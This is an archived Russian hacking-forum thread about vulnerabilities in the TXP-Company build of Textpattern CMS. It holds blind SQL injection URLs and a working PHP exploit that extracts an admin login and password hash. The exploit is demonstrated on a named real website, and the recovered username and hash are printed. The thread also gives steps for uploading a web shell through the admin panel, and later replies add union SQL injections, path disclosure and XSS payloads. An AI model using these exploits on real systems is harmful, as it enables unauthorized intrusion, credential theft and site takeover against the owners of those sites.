PDA

Просмотр полной версии : CMS Textpattern


Grey
05.01.2008, 18:40
CMS Textpattern

Сборка: TXP-Компания - другие продукты не смотрел, возможно эта же уязвимость есть и в них.
Версия: textpattern 4.0.3rev1228ru - возможно и другие версии

Офф сайт: http://textpattern.ru/
Скачать: http://textpattern.ru/faq/gde-mne-skachat-distributiv-cms - дальше выбираем (2. Если Вам нужен движок для сайта фирмы, то можно скачать готовую к использованию TxP-Компанию ;)
Для поиска сайтов с таким двигом: "TXP-Компания" или "Сайт работает под управлением Textpattern" - но тогда есть шанс попасть на другую сборку.

[Слепые инъекции:]

http://test1.ru/goods/23+and+substring(version(),1,1)=4
http://test1.ru/news/8+and+substring(version(),1,1)=4
http://test1.ru/faq/26+and+substring(version(),1,1)=4
http://test1.ru/about/12+and+substring(version(),1,1)=4

Таблица с пользователями: txp_users - эта таблица БЕЗ префикса
Если есть префикс то таблица выглядит так: [префикс]txp_users
Тип хеша: mysql

[Написал простенький сплоент (работает медленно (минуты 3-20) т.к. посимвольный брут отнимает время):]

Сплоент выдирет логин и хеш пароля пользователя с заданным id.

<?php

//-----------------------------------------------------------------------------
//----Coded-by-Grey------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//----------------------------Данные для редактирования------------------------

$host = 'test.ru'; // Хост. Сайт без http:// и без / на конце, к примеру test.ru
$port = '80'; // Порт.
$dir = '/'; // Директория где расположен сайт, если сайт расположен в корневом каталоге сайта, то оставить /, к примеру если директория dvig, то вписать /dvig/
$new_id = '8'; // id (номер) существующей новости

$user_id = '1'; // id пользователя чьи логин и хеш пароля нужно выдрать
$pref = ''; // Дополнительный префикс таблиц. Обычно его нету.

//-------Дальше не редактировать-----------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------

//-------Строка содержащая ошибку

$strerror = '404 Not Found';

//-------

//-------Формирование пути

$path = $dir.'news/'.$new_id;
echo("Put: $path\r\n");

//-------

//-------Описание функций

function func_error ($host,$port,$strerror,$path)
{
$s = fsockopen($host,$port) or die ("Oshibka: ne udaetsy soedinitsy s hostom");
$headers = "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
$func_error = 0;
while(!feof($s))
{
if(stristr(fgets($s), $strerror) == true)
{
$func_error = 1;
break;
}
}
fclose($s);
return $func_error;
}

function func_zamena ($n)
{
if($n == 1) { $n2 = 48; }
if($n == 2) { $n2 = 49; }
if($n == 3) { $n2 = 50; }
if($n == 4) { $n2 = 51; }
if($n == 5) { $n2 = 52; }
if($n == 6) { $n2 = 53; }
if($n == 7) { $n2 = 54; }
if($n == 8) { $n2 = 55; }
if($n == 9) { $n2 = 56; }
if($n == 10) { $n2 = 57; }
if($n == 11) { $n2 = 97; }
if($n == 12) { $n2 = 98; }
if($n == 13) { $n2 = 99; }
if($n == 14) { $n2 = 100; }
if($n == 15) { $n2 = 101; }
if($n == 16) { $n2 = 102; }
return $n2;
}

//-------

//-------Определение версии БД

$path2 = $path.'+and+substring(version(),1,1)=3';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_3 = 1;
}
else
{
$version_3 = 0;
}

$path2 = $path.'+and+substring(version(),1,1)=4';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_4 = 1;
}
else
{
$version_4 = 0;
}

$path2 = $path.'+and+substring(version(),1,1)=5';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$version_5 = 1;
}
else
{
$version_5 = 0;
}

if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
echo("Versia BD: 3\r\n");
echo("Dalneishaia rabota ne vozmojna\r\n");
}

if(($version_3 == 0) and ($version_4 == 1) and ($version_5 == 0))
{
echo("Versia BD: 4\r\n");
}

if(($version_3 == 0) and ($version_4 == 0) and ($version_5 == 1))
{
echo("Versia BD: 5\r\n");
}

if(($version_3 == 1) and ($version_4 == 1) and ($version_5 == 1))
{
echo("Oshibka: versia BD ne opredelena");
echo("Dalneishaia rabota ne vozmojna\r\n");
}

//-------

//-------Определение длинны логина и хеша пароля, получение логина и хеша пароля

if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0))
{
exit();
}

if(($version_4 == 1) xor ($version_5 == 1))
{

//-------Определение длинны логина

$path2 = $path.'+and+length((select+name+from+'.$pref.'txp_ users+where+user_id='.$user_id.'))<=20';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina = 1;
}
else
{
$f_dlina = 0;
}

if($f_dlina == 0)
{
echo("Dlina logina bolshe 20 simvolov\r\n");
}
else
{

for($i = 1; $i <= 20; $i++)
{
$path2 = $path.'+and+length((select+name+from+'.$pref.'txp_ users+where+user_id='.$user_id.'))='.$i;
if(func_error($host,$port,$strerror,$path2) == 0)
{
$dlina = $i;
break;
}
}

$dlina_logina = $dlina;
echo("Dlina logina: $dlina_logina\r\n");

}

//-------

//-------Получение логина

$login = '';

for($i = 1; $i <= $dlina_logina; $i++)
{

for($i3 = 33; $i3 <= 126; $i3++)
{
$path2 = $path.'+and+ascii(substring(((select+name+from+'.$ pref.'txp_users+where+user_id='.$user_id.')),'.$i. ',1))='.$i3;
if(func_error($host,$port,$strerror,$path2) == 0)
{
$simvol = $i3;
break;
}
}

$login = $login.chr($simvol);

}

echo("Login: $login\r\n");


//-------

//-------Определение длинны пароля

$path2 = $path.'+and+((length((select+pass+from+'.$pref.'tx p_users+where+user_id='.$user_id.'))=16)+or+(lengt h((select+pass+from+'.$pref.'txp_users+where+user_ id='.$user_id.'))=40))';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$f_dlina = 1;
}
else
{
$f_dlina = 0;
}

if($f_dlina == 0)
{
echo("Dlina parolya ne opredelena\r\n");
}
else
{

$path2 = $path.'+and+length((select+pass+from+'.$pref.'txp_ users+where+user_id='.$user_id.'))=16';
if(func_error($host,$port,$strerror,$path2) == 0)
{
$dlina_parolya = 16;
}
else
{
$dlina_parolya = 40;
}

echo("Dlina parolya: $dlina_parolya\r\n");

}

//-------

$password = '';

for($i = 1; $i <= $dlina_parolya; $i++)
{

for($i3 = 1; $i3 <= 16; $i3++)
{
$path2 = $path.'+and+ascii(lower(substring(((select+pass+fr om+'.$pref.'txp_users+where+user_id='.$user_id.')) ,'.$i.',1)))='.func_zamena($i3);
if(func_error($host,$port,$strerror,$path2) == 0)
{
$simvol = func_zamena($i3);
break;
}
}

$password = $password.chr($simvol);

}

echo("Pass hash: $password\r\n");

}

//-------

?>

[Как юзать сплоент:]

Отредактировать данные и юзать:

c:\php\php.exe c:\sploit.php

Для примера сайт:

http://pek.zp.ua

Вписываем в сплоент следующие:

$host = 'pek.zp.ua';
$port = '80';
$dir = '/';
$new_id = '8';
$user_id = '1';
$pref = '';

И получаем:

Put: /news/8
Versia BD: 4
Dlina logina: 7
Login: alexpek
Dlina parolya: 16
Pass hash: 68adf6224f57b299

[Заливка шелла:]

В админке (/textpattern/):

1) Выбираем Настройки - Плагины - а дальше правим код (php) и получаем на соответствующей странице шелл.
2) Содежрание - Файлы, заливаем шелл, шелл будет доступен по адресу:

/files/shell.php

citycat
04.01.2009, 14:18
Спасибо за способ. Хэш достал.
Теперь не подскажете как этот хэш расшифровать?

Это получается MySQL хэш?

Grey: подскажу, но вообще поиск юзать нужно.
Почитай тему: https://forum.antichat.ru/thread26983.html
Потом запость свой хеш в соответствующую тему: https://forum.antichat.ru/forum76.html - там тебе с ним помогут, + в том разделе есть специальная тема для вопросов.

Велемир
01.04.2009, 23:18
Выдаёт чет eval`d code =_=.Как с этим бороться ?

_iks_
17.03.2010, 15:42
Эх, увидел CMS до этой темы, всё уже найдено. (

Впрочем, вот что ещё можно добавить к сказанному выше:

SQL-иньекция(обычная)
http://pek.zp.ua/atom/?id=-1+union+select+version%28%29

Вывод в заголовке

SQL-иньекции в админке:

http://txtpattern/textpattern/index.php?event=article&step=edit&ID=-4+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32,33,34,35,36,37,38
http://txtpattern/textpattern/index.php?event=link&step=link_edit&id=-2+union+select+1,2,3,4,5,6,7
http://txtpattern/textpattern/index.php?event=category&step=cat_article_edit&id=-5+union+select+1,2,3,4,5,6,7

Раскрытие путей:
http://pek.zp.ua/?q[]=

Также максимально подробная информация о сайте доступна из админской панели
../textpattern/index.php?event=diag

Ну и несколько XSS-ок для админа:

(все в админской панели)

http://txtpattern/textpattern/index.php?event=log&step=list&page=2%22%3E%3CsCript%3Eprompt%28%27%27%29;%3C/sCript%3E
http://txtpattern/textpattern/index.php?event=tag&name=image&id=1%27&ext=.gif&alt=&h=1&w=400%22%3C/textarea%3E%3E%3CscRipt%3Eprompt%28%27%27%29;%3C/sCript%3E&type=xhtml
http://txtpattern/textpattern/index.php?event=page&name=%3Cscript%3Eprompt%28%27%27%29;%3C/sCript%3E